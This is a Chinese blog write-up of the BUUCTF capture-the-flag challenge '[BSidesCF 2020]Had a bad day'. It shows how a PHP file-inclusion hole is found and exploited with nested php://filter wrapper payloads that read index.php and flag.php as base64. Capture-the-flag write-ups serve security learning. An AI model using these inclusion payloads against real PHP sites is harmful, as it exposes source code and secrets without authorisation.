BUUCTF [BSidesCF 2020]Had a bad day 文件包含与伪协议套层
打开靶机
点击按钮,是猫猫
试试sql注入,输个 ' 进去试试,报错,有include,判断为文件包含
用php://filter/convert.base64-encode/resource=index,因为它会自动补全.php,所以这里就不输入了
base64解码之后
<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
发现其实没啥用...值得一提的是strpos是用来查找字符串首次出现位置,意思
就是传入的category
需要有woofers
,meowers
,index
才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
尝试一下直接在传值后面加上 /../flag,F12发现出现了不一样的地方
还是得读flag文件试试,然后就到了伪协议套层的,因为要包含woofers
,meowers
,index才能返回包含值,所以payload为
php://filter/convert.base64-encode/index/resource=flag php://filter/convert.base64-encode/woofers/resource=flag php://filter/convert.base64-encode/meowers/resource=flag
都可以试试
都得到了flag(虽然有报错hh)
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15181450.html